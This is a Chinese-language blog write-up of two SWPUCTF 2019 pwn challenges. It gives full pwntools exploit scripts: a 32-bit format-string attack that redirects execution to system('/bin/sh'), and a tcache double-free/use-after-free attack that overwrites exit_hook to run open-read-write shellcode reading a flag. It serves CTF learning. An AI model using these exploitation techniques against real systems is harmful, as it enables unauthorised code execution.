SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总)。
SWPUCTF_2019_login
32位程序,考点是bss段上的格式化字符串。用惯onegadgets了,而对于32位程序来说,onegadgets似乎不太好用,条件太苛刻了。还是用system拿shell好一点。
我见网上都是打got表拿的shell,我是修改程序执行流程为system拿的shell。

修改0xffc2e7a8 —▸ 0xffc2e7b8为0xffc2e7a8 —▸ 0xffc2e79c
然后让0xffc2e79c指向system。第一次输入的name信息输入"/bin/sh\x00"的位置正好可以当作system的参数来拿shell。
1 from pwn import *
2
3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-x86.so'})
4 libc = ELF('./libc-2.27-x86.so')
5 context.log_level = 'debug'
6
7 def fun(content):
8 p.sendlineafter('again!\n',content)
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 p.sendafter('name: \n','/bin/sh\x00')
14 p.sendlineafter('password: \n','%15$p-%6$p')
15 p.recvuntil('password: ')
16 libc_base = int(p.recv(10),16)-241-libc.symbols['__libc_start_main']
17 p.recvuntil('-')
18 stack = int(p.recv(10),16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'stack-->'+hex(stack)
21 system = libc_base+libc.symbols['system']
22 print 'system-->'+hex(system)
23
24 payload = '%'+str((stack-0xc)&0xff)+'c%6$hhn'
25 fun(payload)
26 payload = '%'+str(system&0xff)+'c%10$hhn'
27 fun(payload)
28
29 system = str(hex(system))
30 system = system[:-2]
31 payload = '%'+str((stack-0xc+1)&0xff)+'c%6$hhn'
32 fun(payload)
33 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
34 fun(payload)
35
36 system = system[:-2]
37 payload = '%'+str((stack-0xc+2)&0xff)+'c%6$hhn'
38 fun(payload)
39 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
40 fun(payload)
41
42 system = system[:-2]
43 payload = '%'+str((stack-0xc+3)&0xff)+'c%6$hhn'
44 fun(payload)
45 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
46 fun(payload)
47
48 p.sendline('wllmmllw')
49 p.interactive()
SWPUCTF_2019_p1KkHeap
Ubuntu18.04的环境,保护全开,而且有沙箱保护。

如果调用execve会跳转到0011,会被KILL掉。(我猜的)
所以这题只能通过orw来拿flag。
程序存在uaf漏洞,并且对free限制了只可以用3次,所有功能的总次数也有限制。反正我正好,一次不多,一次不少的用完了所有次数。
free两次,泄露heap地址,同时利用double free来劫持tcache结构体,写入一些数据使得再free的chunk进入unsortedbin而不是tcache,就可以拿到libc的基地址,然后利用结构体任意写。在程序初始化的时候mmap了一块可读可写可执行的地址,往那个地址写orw的shellcode,我最后是打exit_hook为shellcode的地址,程序退出的时候输出了flag。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size):
12 p.sendlineafter('Choice: ','1')
13 p.sendlineafter('size: ',str(size))
14 def edit(index,content):
15 p.sendlineafter('Choice: ','3')
16 p.sendlineafter('id: ',str(index))
17 p.sendafter('content: ',content)
18 def show(index):
19 p.sendlineafter('Choice: ','2')
20 p.sendlineafter('id: ',str(index))
21 def delete(index):
22 p.sendlineafter('Choice: ','4')
23 p.sendlineafter('id: ',str(index))
24
25 add(0x80)
26 delete(0)
27 delete(0)
28 show(0)
29 p.recvuntil('content: ')
30 heap_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print 'haap_addr-->'+hex(heap_addr)
32 add(0x80)
33 edit(1,p64(heap_addr-0x250))
34 add(0x80)
35 add(0x80)
36 edit(3,p64(0x0700000000000000))
37 add(0x80)
38 add(0x80)
39 delete(4)
40 show(4)
41 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
42 exit_hook = libc_base+0x619060+3840
43 print 'libc_base-->'+hex(libc_base)
44 edit(3,p64(0x0700000000000001)+p64(0)*7+p64(exit_hook)+p64(0)*6+p64(0x66660000))
45 add(0x80)
46 buf = 0x66660000+0x100
47 shellcode = shellcraft.open('./flag')
48 shellcode += shellcraft.read('rax',buf,100)
49 shellcode += shellcraft.write(1,buf,100)
50 payload = asm(shellcode)
51 print len(payload)
52 edit(6,payload)
53 add(0x10)
54 edit(7,p64(0x66660000))
55 print p.recv()

SWPUCTF 2019 pwn writeup的更多相关文章
- SWPUCTF 2019总结以及部分WP
本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水.题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 西湖论剑2019部分writeup
做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭 easycpp c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组 main::{lambda(int)#1}::ope ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- Insomni'hack teaser 2019 - Pwn - 1118daysober
参考链接 https://ctftime.org/task/7459 Linux内核访问用户空间文件:get_fs()/set_fs()的使用 漏洞的patch信息 https://maltekrau ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
- HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...
随机推荐
- 手把手教你汇编 Debug
关于汇编的第一篇文章: 爱了爱了,这篇寄存器讲的有点意思 Hello大家好,我是程序员cxuan!我们上篇文章了解了一下基本的寄存器,这篇文章我们来进行实际操作一下. 原文链接:手把手教你汇编 Deb ...
- [cf1392I]Kevin and Grid
令$v$为点数(有公共点的格子中存在红/蓝色).$e$为边数(有公共边的格子中存在红/蓝色).$f$为以此法(即仅考虑这些点和边)所分割出的区域数(包括外面).$s$为连通块个数,将欧拉定理简单扩展, ...
- [源码解析] PyTorch 分布式(11) ----- DistributedDataParallel 之 构建Reducer
[源码解析] PyTorch 分布式(11) ----- DistributedDataParallel 之 构建Reducer 目录 [源码解析] PyTorch 分布式(11) ----- Dis ...
- 如何删除一个win10的服务
使用场景: 之前电脑玩腾讯qq微端游戏,后来卸载残留服务一直在后台占用系统资源.那么如何关闭这个服务呢. 1.首先 管理员运行--cmd.exe 2.打开任务管理器,找到服务名称,如果服务开启可以关闭 ...
- Codeforces 295D - Greg and Caves(dp)
题意: 给出一个 \(n \times m\) 的矩阵,需对其进行黑白染色,使得以下条件成立: 存在区间 \([l,r]\)(\(1\leq l\leq r\leq n\)),使得第 \(l,l+1, ...
- 洛谷 P7116 - [NOIP2020] 微信步数(拉格朗日插值)
洛谷题面传送门 我竟然独立切掉了这道题!incredible! 纪念我逝去的一上午(NOIP 总时长 4.5h,这题做了我整整 4.5h) 首先讲一下现场我想的 80 分的做法,虽然最后挂成了 65 ...
- pip 与 conda
pip 与 conda 简介 pip 是接触 python 后最早认识的包管理工具.通过使用 pip 能够自动下载和解决不同 python 模块的依赖问题,使 python 的配置过程变得简单. 与 ...
- Shell中 ##%% 操作变量名
在linxu平台下少不了对变量名的处理,今天记录下shell中 ##%% 对变量名的操作. #操作左侧,%操作右侧. #号处理方式: 对于单个#,处理对象为变量中指定的第一个符号左侧字符串, 对于两个 ...
- PhantomJS的安装和使用
PhantomJS是一个无界面的.可脚本编程的WebKit浏览器引擎,它原生支持多种Web标准:DOM操作.CSS选择器.JSON.Canvas以及SVG.Selenium支持PhantomJS,这样 ...
- 痞子衡嵌入式:利用GPIO模块来测量i.MXRT1xxx的系统中断延迟时间
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是i.MXRT1xxx的系统中断延迟时间. 在 <Cortex-M系统中断延迟及其测量方法简介> 一文里,痞子衡介绍了 Cor ...